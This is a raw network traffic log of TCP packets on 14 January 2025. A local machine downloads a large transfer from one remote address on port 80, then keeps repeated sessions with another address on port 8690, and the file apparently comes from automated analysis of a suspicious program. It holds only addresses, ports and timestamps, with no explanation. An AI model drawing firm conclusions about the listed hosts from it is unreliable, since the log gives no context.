Jan 14, 2025 06:13:20.768919945 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768929005 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.768953085 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768985987 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.768994093 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769021988 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769027948 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769073963 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769107103 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769119024 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769140959 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769172907 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769206047 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769206047 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769258976 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769293070 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769304037 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769325972 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769364119 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769370079 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769396067 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769403934 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769433022 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769469023 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769473076 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769503117 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769535065 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769545078 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769568920 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769602060 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769634008 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769644022 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769666910 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769700050 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769710064 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769735098 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769738913 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769769907 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769803047 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769810915 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769836903 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769869089 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769876957 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.769903898 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769936085 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769969940 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.769979000 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.770001888 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770035982 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770040989 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.770068884 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770073891 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.770107031 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770139933 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770150900 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.770174980 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770207882 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770216942 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.770247936 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.770798922 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.815263987 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815340042 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815376043 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815409899 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815443039 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815475941 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815512896 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.815607071 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.815607071 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.815607071 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854079962 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854156017 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854192019 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854223967 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854259968 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854294062 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854301929 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854301929 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854301929 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854327917 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854362965 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854397058 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854448080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854481936 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854516983 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854516983 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854516983 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854533911 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854568958 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854602098 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854635954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854667902 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854701042 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854739904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854739904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854743958 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854779959 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854784012 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854813099 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854846954 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854855061 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854876995 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854893923 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854911089 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854944944 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.854953051 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.854978085 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855011940 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855016947 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855045080 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855078936 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855119944 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855135918 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855187893 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855221033 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855231047 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855256081 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855258942 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855289936 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855331898 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855354071 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855389118 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855423927 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855429888 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855460882 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855494976 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855526924 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855534077 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855561972 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855595112 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855602026 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855628967 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855633974 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855663061 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855696917 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855701923 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855731964 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855765104 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855782032 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855797052 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855832100 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855864048 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855871916 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855897903 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855933905 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855940104 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.855967999 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.855973005 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.856002092 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856035948 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856040955 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.856070042 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856102943 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856108904 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.856137037 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856168985 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856204033 CET	80	49738	172.245.123.7	192.168.2.4
Jan 14, 2025 06:13:20.856209040 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.857845068 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:20.909010887 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:20.914246082 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:20.914346933 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:20.919076920 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:20.924103022 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:20.932931900 CET	49738	80	192.168.2.4	172.245.123.7
Jan 14, 2025 06:13:21.388329029 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.437624931 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:21.520735979 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.525012016 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:21.529891968 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.530775070 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:21.535590887 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.694618940 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.697016001 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:21.701940060 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.923367023 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:21.968888044 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:21.983599901 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:13:21.988537073 CET	80	49740	178.237.33.50	192.168.2.4
Jan 14, 2025 06:13:21.988605976 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:13:21.988723993 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:13:21.993760109 CET	80	49740	178.237.33.50	192.168.2.4
Jan 14, 2025 06:13:22.056896925 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.058054924 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.062951088 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.063010931 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.065572023 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.070439100 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.109597921 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.579000950 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.592828989 CET	80	49740	178.237.33.50	192.168.2.4
Jan 14, 2025 06:13:22.592948914 CET	49740	80	192.168.2.4	178.237.33.50
Jan 14, 2025 06:13:22.611743927 CET	49739	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.616830111 CET	8690	49739	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.625149012 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.714049101 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.717673063 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.722791910 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.722887039 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.727945089 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909104109 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909147978 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909183025 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909214020 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909248114 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909280062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909313917 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909344912 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.909344912 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.909344912 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.909354925 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909889936 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909924030 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909950972 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.909957886 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.909974098 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.909991980 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.911796093 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:22.914457083 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:22.969016075 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.001501083 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.001535892 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.001569033 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.001600981 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.001633883 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.001705885 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.001707077 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002238035 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002270937 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002305031 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002314091 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002337933 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002346039 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002371073 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002403021 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002439022 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002445936 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002480030 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002759933 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002791882 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002824068 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002855062 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002863884 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.002890110 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.002904892 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.003624916 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.003658056 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.003691912 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.003700018 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.003725052 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.003734112 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.003762007 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.004451036 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.004482985 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.004492044 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.004518986 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.004523039 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.047082901 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.094377041 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094405890 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094438076 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094491005 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094522953 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094579935 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.094579935 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.094818115 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094850063 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094882965 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094911098 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.094932079 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.094933987 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095052004 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095083952 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095113039 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095114946 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095146894 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095160961 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095180035 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095258951 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095534086 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095566034 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095599890 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095613956 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095911980 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095943928 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.095957994 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.095978022 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096009970 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096044064 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096057892 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.096076965 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096098900 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.096111059 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096147060 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096189976 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.096879959 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096913099 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096930027 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.096949100 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.096981049 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097014904 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097024918 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.097047091 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097060919 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.097080946 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097114086 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097158909 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.097861052 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097893953 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097907066 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.097928047 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097959995 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.097994089 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098007917 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.098026037 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098047018 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.098058939 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098093033 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098103046 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.098836899 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098869085 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098901987 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098932981 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098962069 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.098962069 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.098967075 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.098998070 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.099020004 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.099030972 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.099065065 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.099116087 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.099627018 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.099685907 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.099749088 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.140865088 CET	49741	8690	192.168.2.4	172.245.123.12
Jan 14, 2025 06:13:23.186959982 CET	8690	49741	172.245.123.12	192.168.2.4
Jan 14, 2025 06:13:23.187009096 CET	8690	49741	172.245.123.12	192.168.2.4
